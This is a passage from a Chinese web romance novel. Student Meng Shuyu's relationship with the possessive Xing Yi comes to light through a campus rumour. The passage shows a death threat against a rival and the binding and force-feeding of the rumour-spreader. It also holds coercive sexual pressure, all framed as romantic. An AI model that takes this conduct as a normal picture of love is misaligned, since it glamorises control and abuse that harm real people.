宋维在跟赵路焱抢麦克风,分心插一句:“水管爆了?你怎么不找人来修,亲自上啊?看你衣服都换了,湿透了吧?” 邢屹懒洋洋“嗯”一声,坐下开了罐汽水,优哉游哉划手机,让他们闹完就早点滚,别耽误他睡觉。 赵路焱假模假式踹了宋维一脚,把麦克风拱手相让,一边掐打宋维一边问邢屹:“那个漂亮妹妹是不是睡了?我们唱歌不会吵到她吧?” 吵到了。 半晌,孟纾语昏昏沉沉,从换好被单的床上醒来。 喉咙有点干,想下楼喝杯热水。 很不幸,一下去就被他们兴致冲冲抓来玩游戏。 说是猜什么脑筋急转弯,猜不出来就要被弹脑门。 孟纾语八百年没玩过这么幼稚的游戏了。 但他们远道而来,她不想扫大家的兴,最后还是坐下来乖乖配合。 邢屹支着额头坐在沙发一角,懒懒散散看她应付,时不时笑一下,也不知他在想什么。 这些脑筋急转弯都太刁钻了,谁知道蜈蚣领不到薪水的原因是无功不受禄啊? 孟纾语毫无头绪,下意识瞥他一眼,他居然不给她任何提示。 她只好硬着头皮瞎猜,一连猜错三题,三人逗她逗得起兴,但没有为难她,三次都好心给她放水。 最后一道题,她还是猜错了,对面提问的人是邢屹。 他不放水,但却意味不明地说:“这一回先不用,留着下次罚你。” 孟纾语顿时警惕,什么下次啊,下次他肯定就换成别的方式折腾她了,不如当场清算。 她抱着一个毛茸茸抱枕,臀压在脚后跟上坐在他旁边,知道他手劲大,她闭着眼视死如归一般缓缓靠近他。 说:“你弹吧。” 距离拉近,邢屹搭着二郎腿原样坐着,垂眸看着她颤动的睫毛,她脸上的红晕甚至还没消,他目光落到她唇上,喉结兀自一滚。 他撇过头,一手推开她脑袋:“回去睡觉。” “”不弹就算了,下回也不让你弹。 孟纾语跟其他人说了声拜拜,迈着轻盈步伐跑上了楼。 三个发小屏息凝神,暗中观察已久,对他灵魂拷问:“哥们儿,刚才她离你那么近,你就没心动?” 一帮蠢狗。 邢屹懒得搭理他们,微微仰头灌了一口冰汽水。 怎么可能没动。 动了。 全身上下哪里都动了。 孟纾语本以为回了卧室就万事大吉,谁知十分钟后,邢屹又进来了。 她掩耳盗铃,攥着被角紧紧闭上了眼。 邢屹好整以暇靠近,一手撑在床头,借着月光低身看她,温热呼吸洒落她面颊。 她莫名心跳加速,生怕他掀开她的被子。 谁知他什么也没做,只是戳穿她拙劣的演技,冷飕飕翻旧账:“别装睡了,你还欠我一个脑瓜蹦。” “”她生无可恋翻了个身,跟他面对面,眼睛眨了两下又闭上,郁闷地说,“那你弹吧,弹完我要睡了。” 邢屹凑过来。 她已经做好阵痛的准备,可下一秒,他突然亲了她额头。 她霎时懵住,心尖波澜晕开。 他轻轻捏她的脸:“晚安。”- 下周周六,孟纾语一大早就前往好友的公寓,把最近发生的事情转述给毛婧婧。 毛婧婧自然而然当起了军师,坐在摇椅上老神在在说:“真是一波三折啊。这么说来,他对你挺好的,你心动了吗?” “好像没有。”孟纾语抱着膝盖坐在地毯上,拿着小喷壶给新的发财树补水,有点苦恼地说,“但是很奇怪,我确实不怎么抗拒跟他的肢体接触。” “哦,这叫生理性喜欢。他相貌摆在那儿,私下又有那么多花样,你抗拒不了很正常。” 毛婧婧又说,这种情况就类似于——小学门口上火但飘香的烤肠、凌晨两点熬得停不下来的夜、明知道会有被挠的风险却依旧坚持撸猫的信念、明知道期末考前不能刷剧玩游戏却依旧沉湎。 都情有可原。 孟纾语仔细思考。 或许是吧,邢屹用来蛊惑她的手段实在高明又熟练,以至于她明知道他病态又危险,却每一次都丢失理智,步 步深陷。 等彻底反应过来时,她已经又被他吞噬了一寸- 十二月初,她为之筹备已久的辩论赛终于开始。 演讲厅里人满为患。 大家听说这场辩论赛是人文学院神仙打架,于是都慕名前来。 院里也认真对待,给评委席增设了名额,把隔壁艺术学院的刘院长都请来观摩打分了。 傍晚,将近两小时的激烈争论宣告结束。 不负众望,孟纾语的队伍打了一场完美胜仗。 演讲厅里热热闹闹走完颁奖流程,评委和观众有序散场,有几个热情的同学上来加他们微信,崇拜的眼神在她和李时然之间来回跳跃:“你们两个配合得好好啊!下学期还有机会看见你们一起比赛吗?” “这个啊还有机会吗?”李时然抛砖引玉,转头笑着问她。 她礼貌道:“有吧,只要我们队伍没有解散。” 其余几个队员哈哈一笑,各自收拾完书包,拿上奖状证书跟他俩道别:“拜拜,我们先去吃饭啦!” “好,拜拜。” 她和李时然留在演讲厅,加完几个热情同学的微信,收拾收拾也准备离开。 ——“小孟同学?” 她转过身,喊她的是艺院的刘院长。 她认真回话:“刘院长好,您有什么事吗?” 刘院长相貌憨厚,背一个黑色大书包,拿着金属保温杯走上前,端详她的脸,思考半晌说:“你长得,很像我之前一个学生我想问问,你有没有一个叫徐以婵的亲戚?” 她怔了下。 “嗯,她是我妈妈。” 刘院长喜出望外:“呀,我就说我没看错,你果然是她女儿,长得太像了。” 孟纾语疑惑不解:“您是我妈妈的老师?” “对呀,我之前在北影当讲师,她是我的学生。整个班上数她最有灵气,我记她记到现在。你妈妈毕业之后进了话剧团,那年《雷雨》全国巡演,我碰巧到宁城看过一回,当时你已经出生啦,你妈妈带你到话剧院彩排,你还很小呢,一岁多吧,你妈妈一走远,你就坐在婴儿车里哭,哭声那叫一个响亮啊,把我们整个后台的人都惊到了,喉咙里简直有台钻井机,马力强大啊!” “” 一旁的李时然憋笑看着她。 她默默吞咽一下。 知道了院长,请您不要再回忆了。 刘院长喜笑颜开:“我还记得,后台还有个大你一岁多的男孩子在你边上,同样是一个人待着,人家就不哭,就你哭,哈哈” 她干巴巴轻笑一声。 院长,您都说他大我一岁多了,肯定没我爱哭吧。 李时然见缝插针:“哈哈,原来你小时候很爱哭啊。” “还小嘛。当时我爸忙着跑销售,没空带我,我妈又不放心把我交给月嫂,就抱我去话剧院了,她说我一开始不习惯人多的环境,她一走远我就害怕,然后哭个不停。” “没啥,小孩子都那样。”刘院长笑了笑,言归正传,“话说回来,你妈妈真的很有表演天赋,她现在怎么样啦,还在演话剧吗?” 孟纾语平静说:“她去世了。” 刘院长一愣。 “这真对不起啊。” “没关系。”她依旧温柔地笑。 天色已暗,三人一道离开演讲厅,刘院长跟他俩挥手道别。 两人在路灯下并排走,李时然忽然对她说:“我请你吃饭吧,庆祝我们比赛胜利。” 孟纾语一本正经:“跟其他队友一起吗?可以呀。” 李时然支吾片刻:“不是,就我们两个,可以吗?” 孟纾语觉察出对方的目的,于是清清楚楚地拒绝:“抱歉,那可能不太方便。” 李时然默了默,笑说:“没关系,如果你以后改了主意,可以跟我说,我还是可以请你吃饭。” 孟纾语没说什么,回一个体面的笑。 这笑容远远地落进某人眼里,格外刺眼。 邢屹臂弯里夹着一颗签名篮球,眼神直勾勾盯着远处说笑的两人。 他一边走,一边仰头喝完半瓶矿泉水,不动声色把瓶子捏变形,投进垃圾桶。 孟纾语有所感应。 一抬眼,撞上不远处一道漆黑视线。 她不禁打了个寒噤。 好凶的眼神,谁又惹他了? 偶遇的双方距离拉近,迎面而来的是邢屹和彭霖,还有一个周洪违。 彭霖眼睛一亮,挥挥手:“纾语!” “” 彭霖走过来跟她闲聊,邢屹就抄兜站在一边,默不作声盯着她。 薄荷糖咬碎的声音传了过来,他不说话比说话还可怕,上身一件黑色毛衣,衣袖挽至臂弯,运动后的青筋格外明显,整个人高高大大站在她面前,气场冷森森,怪吓人的。 孟纾语头皮发麻,只想逃。 “那个,李时然,我有东西落在演讲厅了,我回去拿,你先走吧。” 转身没走几步,周洪违叫住她:“诶诶,社团的跑步训练你鸽了几次啦?” 她闭了闭眼。 止步回身,心虚地说:“三次。” 周洪违志在必得地笑:“还知道是三次呢?走吧,将功抵过,跟周学长去体育馆整理器材。” “” 这家伙一定是在公报私仇。 但横竖是她放鸽子理亏,她只好老老实实跟他们前往活动室,承担义务劳动。 一路上,邢屹走在她身边一言不发,平时喜欢勾她手的小动作这会儿也没有了。 她顿时有种不详的预感。 到了活动室,彭霖有事先走,周洪违去走廊尽头的卫生间洗拖把,偌大的训练室里只剩她和邢屹。 她蹲在角落整理护具,邢屹不疾不徐走过来,在他常用的挂钩上取了一对黑色拳套。 她动作一顿,等他走远了,她才安心继续。 下一秒,不远处突然响起击打沙袋的声音,一下接一下,恨不得寥寥几拳把沙袋锤爆。 她心跳莫名加快,转头,看见他专注打拳的侧脸,眉眼沉沉压着,眼神中的凌厉感比拳头还硬。 “你怎么了,不高兴吗?” “过来。”他专注练拳,头也不转地说,“给你一分钟,戴好拳套。” 不是吧,要跟她一对一地练? 她磨蹭片刻,戴上拳套走到他面前。 邢屹用脚勾了一下她的脚踝,在她踉跄时把她扶稳,冷飕飕帮她摆好正确的进攻姿势,颐指气使:“对我出拳。” 孟纾语毫无经验,只能硬着头皮挥拳。 开头毫无章法的进攻简直小儿科,全都被他轻易闪过,他脸色越来越不佳,仿佛有种恨铁不成钢的感觉,下一秒突然闪到她身后,右臂勒住她脖子。 她溢出细碎的一声,被迫仰起了头,下巴顶着他结实的手臂肌肉,他的力气刻意收敛,给了她呼吸余地,但她还是受不了,眼角溢出一点生理泪水,无奈张嘴换气。 僵持几秒,沉哑严肃的声音绕在耳畔:“愣着干什么?挣脱。” 力量差距悬殊,她根本挣不开,他手臂像铁一样横在她脖子前,稍微一用力就能把她往后带。 她止不住地踉跄,两人同时后退几步,邢屹倏然站定,气结又纵容地叹了一声:“之前教过你的,全都忘了?向后肘击,用力顶我肋骨,掰住我手臂内侧,侧身,蹲下去闪开。” 孟纾语照他说的做,连连卡顿,终于勉强完成,顺利脱身。 短短几分钟,她已经累得不行,坐在地上缓和呼吸,抬眸看他,沉默又郁闷,不知该怪他力道太猛,还是该怪自己学艺不精,进散打社快一个学期了,连最简单的脱身方法都没学会。 邢屹脱下拳套,半蹲下来查看她脖子,她慌忙后退,他刚要触碰的手扑了个空,撩起眼皮看她一眼,有点烦躁地抿紧唇线,鼻腔沉出一口气:“我不温柔,李时然温柔。你去找他,让他教你练拳,我看你能学成什么样。” 说完就起身离开。 孟纾语还没反应过来,转身人就没影了,不远处的柜子上放着一个甜品袋子。 是她最喜 欢的蓝莓蛋糕。 她收回视线,轻叹一声。这是吃醋了。 他现在气头上,表情很臭,行为又凶,哪怕她再想哄,也得给他时间冷静冷静,不然她会很害怕。 于是她暂时前往毛婧婧的公寓。 毛婧婧坐在地上,给发财树挂上圣诞小铃铛,回身看一眼发呆的她,调侃说:“我怎么感觉我这儿成了战时防空洞呢?” “说明你在积德,毛毛,你会发财的。” 孟纾语抱着枕头靠坐在沙发上,转头看一眼落地窗外。 细碎的纯白在霓虹之间回旋满盈。 又下雪了。 手机突兀一震。 xy:[下楼。] 她愣住。 跑到窗前往下望,一个挺拔身影就这么站在雪中,连把伞都不撑。 不怕感冒吗? 她穿上外套快速出门,一分钟后,电梯门再次打开,她出了公寓大楼一路小跑。 路灯下,邢屹漫不经心倚靠着车门,表情依旧很臭,像有人欠了他八千万一样,冷眼看她走近。 最后几步,她跑了过去,微微喘气停下来,邢屹直接打开大衣把她裹了进去。 她木然撞进他怀里,呼吸闷在他胸膛前,他全身暖烘烘的,烫得她意识都乱了。 他明显不高兴:“为什么又来这儿躲着?” “你也知道,我朋友精神状态不太好,所以我要经常来看她,管管她,不然她又把厨房炸了。” “那你管不管我生气?” 突如其来的坦荡直白,孟纾语一时哑然。 她蹭了几下从他怀里抬起头,他微垂视线看着她,目光依旧冷硬,气还没消。 不知道怎么哄,她先是抬手,拍走他短发上的小雪花。 然后踮起脚。 亲了他一下。 “我把你的气封印住了。”她小声说,“你不可以生气了。” 漫天雪花,邢屹低着头,沉沉看了她几秒,喉结兀自涌动。 下一秒,他突然翻个身将她压在车窗上,一吻急迫而下,舌尖横冲直撞,吞没她慌忙无措的呜咽。 第23章 回吻关系曝光 两道气息抵死纠缠,狂热的接吻声此起彼伏。 心跳如擂鼓。 这根本不像是吻,而是大开大合的吞没。 她惊颤万分。 短短几秒究竟发生了什么? 不过是给了他一记蜻蜓点水的脸颊吻,他却像嗅到血味的巨鲨一样,疯狂追吻,她的身体像被蛇缠绕,痉挛过后只剩酥麻。 等她招架不住推了他几下,他才缓缓睁开眼,最后在她唇上含了片刻,放过她。 她六神无主,嘴唇灼热又麻木,耳边全是自己的心跳和换气声。 身心凌乱,全然迷失在他强烈的占有欲里,半晌才回过神。 不能再和他待下去了。 刚想逃之大吉,脚底却被雪地滑了一下,差点摔跤,很快被他揽着腰身捞起来。 邢屹打开车门,三两下把她塞进去,随即返回驾驶座,给她开了瓶水,摁住她后颈喂她喝。 她被迫仰起头,小口小口地咽下去,干渴的喉咙舒服许多。 邢屹像给她灌什么违禁药物,时而温柔时而粗暴,一边灌还一边威胁:“再跟李时然走得那么近,我就杀了他。” 她猛然一呛。 水瓶及时拿开,邢屹用手背给她擦掉嘴角水渍,她气呼呼拍开他的手:“你别说这么吓人的话。” 车里暖气很足,她身子又热,于是慢吞吞脱掉外套,邢屹在一旁浑不正经撑着额头,幽邃视线一直黏在她身上,看她脱衣服。 忽然问:“刚才亲我,是真心实意还是虚情假意?” 她动作一顿。 按理来说肯定是要亲的,不亲他能消气吗? 拉扯到现在整整四个月,她已经建立出一套防御机制,当邢屹吃醋生气时,如果她不及时哄他,到了晚上他一定会变本加厉地折腾她。 别人花钱消灾,她以吻驱难。 “哄你开心的。”她小声说。 邢屹神情遇冷:“那就是虚情假意了?” “”她忙说,“真心实意的。” “敷衍。” “?” 真想下车搓个雪球砸他。 假的也不行真的也不行,那你到底要怎样! “眼睛看着我,好好回答,究竟是真心还是假意?”他冷森森逼问。 她避开他沉冷视线,斩钉截铁说:“真心的。” “那你再过来,主动亲我。” “不要。”嘴唇都肿了。 邢屹半冷不热收回视线,看向车窗外的飘雪。 “那就是在骗我。” “?” 有病啊他 不想跟他争了。 孟纾语把车窗玻璃降下来,寒风旋卷灌入,她伸手接了几片雪花。 忽然很想妈妈。 她下巴搭在手臂上,趴在窗沿沉默许久,因为太冷,吸了记鼻子。 邢屹突然把她的脸蛋掰过去。 她冷不丁转过头,一只手还伸在窗外悬着,脸颊两侧被他单手掐住,她愣愣看着他:“你干嘛” 邢屹盯着她眼眶看了会儿,很快松开她,百无聊赖玩起了消消乐。 “以为你哭了。” 她一脸莫名:“才没有哭。” 邢屹消掉一排猫头,含讥带讽哼笑一声:“也不知道是谁,小时候最爱哭。” “”她斜眼看他,“我一岁左右就不怎么哭了好吗?” “一岁也哭。” “你胡说。” “不信去问孟叔。” “” 今天怎么搞的,刘院长笑她爱哭,邢屹也笑她爱哭,人人都不约而同提起她小时候的糗事。 她不甘心地问:“你小时候就不哭吗?” “不哭。” “我才不信。” 她别过脸,望着路灯下飘扬的雪。 时间过得真快。 从夏末到深冬,两人的关系能瞒这么久也是个奇迹。 想了想,她升上车窗玻璃,坐直,一本正经地说:“邢屹,我们谈谈。” 他眼风扫过来:“谈恋爱的谈?” “请不要扭曲字义。我是想说,自从知道你是从很早开始就关注我,甚至说喜欢我,我就一直很难适应,而且严格来说,我们两个确实不合适,虽然我现在没办法反抗你,更没办法结束我们的关系,但或许,再过十天半个月,你对我的兴趣就彻底消失了。在那天到来之前,我想跟你做一些约定。” 邢屹没什么反应。 他把手机扔回仪表台,侧过头淡淡看着她。 “说。” 孟纾语斟酌片刻,缓缓开口:“第一,最初跟你接吻,是我自愿的,但你也答应过,日常生活中不会做出让我为难的事,所以我希望,我们的关系不要被别人知道,我只想在学校里认真学习。” “嗯。还有?” “还有就是,在我没有同意的情况下,你不能强行跟我那个什么。” “哪个?”他明知故问。 她别过脸说:“就是那个。” “睡你?” “嗯。” 邢屹闭上眼睛小憩,嘲讽地笑了下:“谁睡谁还不一定,话别说早了。” 孟纾语下意识摸了摸鼻梁:“那你答应吗?” “嗯。”他波澜不惊地说,“不顺着你还能怎样?到时候又跟我哭。” “” 看来在他面前哭是真的有用。 她默了几 秒,善解人意地说:“公平起见,你也可以跟我提一个小小的要求。” 邢屹依旧闭着眼,懒筋懒骨地靠着椅背,长指在黑裤腿面上点了两下。 “什么都行?” “嗯你先说。” “今晚做。爱。” “?!” 口出狂言,十恶不赦。 她气鼓鼓拿起脱下的外套,团成一个球砸他。 邢屹单手接过,突然攥着她手腕把她扯到身前。 她吓一跳。 一个要吻不吻的距离,彼此呼吸纠缠,他漆黑眼眸注视她,语气轻飘飘:“那就换一个。” 她心有余悸:“什么?” 他散漫又恶劣的目光顺着她嘴唇,往下一掠,用兴致浑然的气音说:“今晚再淋我一次。” 她怔了下,耳根瞬间红透- 又度过一个纵情声色的夜晚。 隔天下午,孟纾语接到儿童智能手表打来的电话,何星稚嫩的声音传出:“姐姐,我好想你呀。” 心一下就软了。 于是她一下课就前往邢老先生家。 打车去的,出租车司机明显没来过这儿,车子悠悠靠近大门,司机握着方向盘环顾一圈:“姑娘,你住这儿呀?” “不是,我来看人的。” “哦”司机似乎不敢多问。 外来车辆本来不能进入,但大门警卫记得她,微微一笑直接放行。 终于到达目的地,她下车,出租车默默离开。 深色双扇门提前给她留了条缝,孟纾语推门走进院子,何星等待多时,他兴冲冲跳下园林石凳,穿一套毛茸茸的小老虎装,啪嗒啪嗒跑过来抱她。 “姐姐!姐姐!” 方姨在后面追:“慢点呀星星,别摔着。” 孟纾语莞尔一笑,蹲下来抱住小朋友。 怀里软乎乎一只,比家里那个欺负人的凶恶霸王讨喜多了。 方姨笑着说:“星星可想你了,你今天要是不来,他晚饭都不肯吃了。” 孟纾语摸了摸星星的脑袋,抬头问:“方姨,他妈妈有来看过他吗?” “唉,没有,一个电话都没打过来,估计不想管他了。”方姨坐到入户回廊的长椅上,话里不是滋味,“她总是那样,之前对小屹也是” 星星没有听她们对话,专心玩姐姐围巾上的小标志。 孟纾语托着他咯吱窝把他抱到怀里,一起坐到长椅上,问方姨:“邢屹小时候是不是很缺爱?” “何止呢。”方姨叹息说,“好好一个孩子,差点被他妈妈养坏了,要我说啊,生孩子不是过家家,做父母的自己都没有责任心,生下来干嘛呢?前夫出轨,那就恨前夫去呀,折腾孩子干嘛?她恨错人了,还一直怪罪小屹,说是因为怀上他才毁了她的事业,害她演不了向往的角色。但她怎么就不想想自己的原因呢?明明是她歇斯底里跟导演闹翻脸,业内风评一落千丈,后来上不了大荧幕,她就演话剧去了,但又自视清高,打心眼儿里瞧不上话剧,就这种心态,她又能在事业上干出什么花样来呢?唉,总是自己跟自己较劲,其实她才患有心理障碍。” 孟纾语沉下心,久久不语。 过了会儿,她趁机问方姨,邢屹小时候是不是真的不爱哭。 方姨脱口而出:“他呀,他很少哭的,既不爱哭,也不怕疼,有点早熟,很小就学会藏心事了,别人根本猜不透他在想什么。” “哦” 孟纾语深有体会。 既猜不透他在想什么,也无法预料他下一步的动作。 恍惚时,手机震了一下。 毛婧婧:[宝,你跟邢屹的八卦已经传到我们美院的群里了,你还好吗?] “” 完了。 她快速点开京大灌水群。 装纯、拜金、高攀富三代官二代,诸如这些词语,她全部在脑海里过了一遍。 出乎意料,屏幕里根本没有这些字眼。 只有截然相反的言论。 [妈呀,孟纾语这么漂亮,怎么摊上这个渣男啊!] [果然人不可貌相,邢屹那么帅,还以为人品也很好呢] [可是抛开别的不谈,他确实很帅] [楼上的,你不要当肤浅的颜控] [所以他是先跟常嘉谈恋爱,然后又骗了孟纾语?] [听说他还跟孟纾语同居了] [卧槽!渣男!] “?” 孟纾语懵了。 她急忙往上滑了一大段,终于找到万恶之源。 一个pdf文件。 点开,标题赫然在目。 「权贵子弟玩弄少女,左拥网红模特、右抱清纯系花,脚踏多只船,令人发指」 什么东西? 她往下滑,翻到好几张照片。 第一张,她和邢屹在雪中接吻,第二张,邢屹和常嘉面对面在酒吧卡座谈话,第三张,邢屹搂着她从别墅里出来,上了同一辆车 全是偷拍。 她静下心来,脑海里浮现一个可疑人员:卓耀明。 于是她立刻打电话给邢屹。 没打通,她又打给林助,询问邢屹的下落。 在她反复逼问下,林助终于说出一串地址。 西岭湾,一个以惊险户外运动为主业的休闲度假区。 好端端的去那儿干什么? 她细细一想,顿时捏了把汗:“邢屹是不是把卓耀明带过去了?” 林助迟疑片刻:“是的。” 她心头一紧:“林助你、你怎么能由着他乱来!” 挂断电话,孟纾语抱着星星安抚几句,对他说明天再来看他。 他乖乖点头,孟纾语放下心快速离开,方姨见她着急忙慌的,好心叫住她:“小语等会儿,附近打不到车的,我让家里司机送你。” 她连忙应下:“好,谢谢方姨。” 路上花了快一个小时,终于抵达度假区正门。 夜幕降临,孟纾语匆忙下车,转身朝前跑去。 门前,穿西装制服的安保人员扫她一眼,立刻拦住她:“有预约吗?” 她摇头说没有,正准备解释一番,另一个安保看了眼送她过来的车,又注意到连序的车牌号,给拦她的安保使了个眼色。 对方接过暗示,顿时和颜悦色:“小姐您好,是来找人的吗?” 她焦急点头:“对,我找邢屹,你们可以带我去见他吗?” “好的,您跟我来。” 度假酒店偌大的贵宾休息室里,邢屹懒洋洋靠坐在沙发上,玩了两局消消乐。 室内被时断时续的呕吐声环绕,卓耀明跪在地上,手脚被麻绳束缚。 整整一个小时,他被强行喂下很多不知名的食物,那股腐臭的苦味让他连连作呕,不敢确认上一秒吃进去的究竟是什么,他只祈祷那不是老鼠的尸体组织。 严帆简直没眼看,赶紧叫保镖停手。 “行了行了,我都快吐了。真没想到回国一趟还能碰上好戏,喂,卓耀明,你知不知道你惹错人了?” 卓耀明吐得眼眶通红,用最后一分力气抬起眼睛,死死盯着邢屹:“我惹的就是他,有问题吗!” 邢屹笑了下,这才放下手机,缓缓走到他面前。 “当然没问题。”邢屹远离那堆呕吐物,半蹲下来看着他,“你怎么造我的谣都无所谓,但你有没有动脑子想过,这些谣言连累了孟纾语?” 卓耀明不为所动:“我又没造她的谣,我针对的是你,你这个表里不一的狗东西!” 邢屹静静听他骂完,眼底浮起一丝嘲讽的笑意,语气轻描淡写:“像你这种蠢货,连小便都对不准坑吧。” 卓耀明一愣,瞬间恼羞成怒。 邢屹不顾他愤怒的表情,慢条斯理说:“你为了造我的谣,说我脚踩两只船,可以,我不在乎,毕竟我从来没做过那样的事。但是你说,我以这种不检点的品行跟孟纾语同居,问题可就大了。首先,她是暂住,不是同居,同居这个词有特殊含义,别人一传十一传百,可以从同居联想到性,再联想到打胎。” 卓耀明的脸色缓缓僵滞,似是没想到这一点。 邢屹冷笑一声:“从她十几岁开始,你嘴上说喜欢她,却一直伤害她,明知道她最怕蟑螂,却仍要往她书包里放。事到如今,还不在乎她 的名声,你真够贱的。” 卓耀明气急反驳:“你管我?反正跟你这个疯子比起来,我对她的感情肯定更深!” “是吗,你给过她什么?”邢屹反唇相讥,“给过她关心?钱?还是一毛钱就能批发一吨的自我感动?” 卓耀明哑口无言。 邢屹起身,给一旁的保镖使了个眼色,对方立刻会意,走上前拿出一把蝴蝶刀,割断卓耀明手脚上的麻绳。 邢屹双手插着裤兜环视一圈,半冷不热地问:“是想进泳池里泡一晚,还是想试试那个?” 他朝远处轻抬下巴,卓耀明颤颤巍巍转头望去,看见一组用来练习击靶的枪。 疯了吗,那可是真枪实弹! 这人真的有病。 卓耀明咬牙暗骂,心想不能坐以待毙。 突然,他夺过保镖手里的蝴蝶刀,猛然朝邢屹刺去。 邢屹看着刀刃迎面而来,同时听见门外有焦急的脚步声。 于是他没有躲,只是稍微侧了侧身。 转眼间,黑衫衣袖划开了口子,血液一涌而出。 严帆破口大骂,立刻喊人把卓耀明摁住。 孟纾语提心吊胆推门而入,看到的就是这幅场景。 邢屹手臂受伤了。 他一手捂住流血的伤口,回身看着她,眼角眉梢轻轻往下耷着,沉嗓:“小语,好疼。” 她怔了几秒,立刻跑上前扯住他另一只袖口,把他全身都扫视一遍,急得要命:“怎么了?怎么弄的?还有其他地方受伤吗?” 邢屹瞥一眼被保镖摁住的卓耀明,拖着懒散腔调慢腾腾说:“他啊,我跟他讲道理,他拿刀划我。” 卓耀明瞪大双眼,一脸“我他妈真的想死”的表情 离开度假区,两人坐林助的车前往医院。 后座弥漫一丝血腥味,孟纾语用绷带快速给他止血,问他还疼不疼。 邢屹懒靠在座椅上,垂眸看着她:“疼啊,我从小最怕疼。” 林泽听见他这么说,方向盘差点打滑。 他嘴角轻轻一抽。邢大少爷,你就装吧。 孟纾语轻叹一声,小心翼翼给绷带系一个结。 “今晚洗澡的时候注意点,或者干脆别洗了,知道吗?” “不洗怎么行。” “嗯?” 她听不懂他话里的意味深长。 邢屹忽然牵过她的手,顺着轮廓起伏的腹肌往下按。 再往下。 经过皮带的金属扣。 停住。 她心跳怦然,他却波澜不惊,沉沉注视她说:“孟纾语,今晚想不想用它。” 第24章 回吻“会脱得小心一点。”[捉虫]…… 孟纾语神情一滞,迅速抽回手,脸已经红得能当过年灯笼。 “你小声一点啊” 邢屹瞥一眼驾驶座:“林泽,你听见我说话了?” “昂?”钱难挣屎难吃,林泽认真摇头,“没听见。您说什么了?” “” 林助,要是被绑架了你就眨眨眼。 邢屹神清气爽地搭起二郎腿,闲闲看向她。 他这个人,真的有种欠揍但又蛊惑人心的能力,明明一言一行都让人很来气,笑起来却格外拨人心弦,声线也沉磁缓和:“孟小语同学,请问你还有什么困扰?” 什么孟小语同学。 她抱着胳膊撇过头,怀疑他在跟她玩什么奇怪的角色扮演。 邢屹一言不发牵过她一只手,把他腕上的发圈取下来绕到她无名指上,绕了三四圈,像个冷血无情的资本家,压榨发圈最后一丝价值,硬生生把它绕成一个戒指形状。 这个霸道混蛋幼稚鬼。手指被束缚着,感觉很怪异,她默不作声取下来,无名指已经印出一圈不痛不痒的红痕,在昏暗下看着,很像被戒指勒出来的。 算了,看在他受伤的份上,不跟他计较。 她习惯性把发圈套回他手腕上,又看了眼他小臂外侧渗血的绷带。 狗急了才会咬人,卓耀明一定是恼羞成怒急于逃脱,才敢冒着这么大的风险跟他动手。 以他的防守能力,居然没能躲开,好不正常。 记得进门的时候,不远处地面上残留着一滩呕吐物,看得她头皮发麻。 “邢屹,你认真回答我,你究竟对卓耀明做了什么?” 邢屹一如既往地平静,他伸过受伤的手臂,不急不缓把她揽到怀里。 对上她忐忑不安的视线,他像起了什么恶劣玩心似的,一根修长食指顺着她喉咙,轻轻往下划动,停在她肋骨一侧。 很痒。 “不用紧张,今后你会慢慢习惯我的做法。在我看来,造谣的人要从舌根,一路腐烂到胃。” “所以你喂他吃了什么?” 他饶有兴味:“你想知道?” “算了。”她推开怀抱,局促不安地挪到座椅角落,“不要说了,我不是很想知道。” 汗毛都快竖起来了,今晚最好不要做噩梦。 她全程没理他,直到抵达医院。 陪他在诊室处理伤口,护士以为她是他女朋友,叮嘱她:“好好照顾你男朋友哦,伤口挺严重呢,三天之内不能碰水,不能过量运动,记得按时换药,忌烟酒,知道吗?” 音落,诊室鸦雀无声。 邢屹靠坐在椅子上,手臂搭在桌前接受消毒,眉眼懒恹恹地耷着,一副置身事外的冷淡样。 可是她明明看见他牵起嘴角笑了下。 这个诡计多端的家伙,一句话也不跟护士解释,故意等她上钩。 护士一边处理伤口,环顾一圈,盯着她,一脸“你怎么不应声呢,这屋里还有谁是他女朋友”的疑惑表情。 孟纾语硬着头皮应下:“知道了,谢谢护士。” 伤口处理完毕,她接过医生打印出来的处方单,前往取药窗口领消炎药。 邢屹坐在不远处的公共椅上按手机。 她掌心震动。 xy:[还没好?] 她回:[还在排队呢,你要干嘛?] xy:[十分钟没抱你了,有点想] “?”大庭广众之下你想怎样! 她快速找到一张小奥特曼飞踢的表情包,怒发十条。 xy:[踢够了吧,今晚让我抱着睡] [不可能] xy:[瘾犯了] [戒] xy:[戒得掉还叫瘾?] [不要强词夺理,我有八十厘米的面包玩偶,你抱着面包睡] xy:[没你软] “” 一拳打在棉花上,真想把他的消炎药换成伸腿瞪眼丸 一路吵吵闹闹离开医院,回到家,邢屹口出狂言让她帮忙洗澡。 她迅速上楼跑回房间,匆忙扔一句:“你自己洗!” 邢屹高高大大卡在门边,她根本关不上门。 他举起伤口示意:“手疼。” 这人明显在耍赖,孟纾语扒着门板,探出个脑袋应付他:“你另一只手不是好好的吗?” 他歪了歪头,装得好遗憾的样:“我又不是左撇子。” “让你用左手拿花洒,又不是写字。” 她把他推出去,邢屹往前一步直接抱住她,道貌岸然的视线垂落而下,懒腔懒调耍无赖:“不是答应过护士会好好照顾我?万一我在浴室摔跤怎么办,脸着地会毁容啊,你不就是图我这张脸?” 她顿时噎住,气势矮了一截:“哪有,你不要凭空捏造,我什么时候说我图你脸了?” “那你图我什么?图我吻技好,图我手速快,图我——” “你小声点!”她紧张打断,快速把半掩的门关好。 顿了几秒,确认走廊上没声她才彻底安心,抬眸温柔埋怨,“不要突然说这些,万一莱姨在家怎么办。” “不在。” 在的话他也不会这么明目张胆逗弄她,因为知道她会慌。 持续争了一分钟,邢屹完全占理:“又不是没在你面前脱过衣服, 怕什么?” 孟纾语被他环着腰,稍微动一下他手臂就收得更紧。 他好整以暇靠在墙上,一只腿还勾住了她,把她往身前一带,她碰到他裤链。 无处可逃,她双手抵着他胸膛妥协:“那你先进去脱衣服。事先声明,就这一次,下次没有了。” 邢屹神情微动,突然掐住她下巴用力吻住。 “唔!” 她下意识后仰,他护住她后颈往前倾身,三两下直接把她扛到肩上,她惊慌失措,再一睁眼人已经进了浴室,她柔软的薄毛衣被他剥落,堆在她脚边。 她坐在浴缸旁的台阶上,转头,邢屹在透明的淋浴房里脱衣服,先是上衣,然后是裤子,最后是 她别过脸。 他冷淡出声:“过来。” 顿了几秒,孟纾语默不作声走过去,全程转头盯着浴室墙面,拿起花洒冲他。 余光里,水流快速经过他清晰起伏的腹肌沟壑,在人鱼线附近聚成一股更粗的水流,升起热腾腾的水雾。 热水反溅到她身上,薄薄的吊带被打湿,几乎透明,湿漉漉地黏在肌肤上。 她咬牙坚持着,邢屹突然关掉水阀。 嗯? 她迟疑片刻,松手放下花洒。 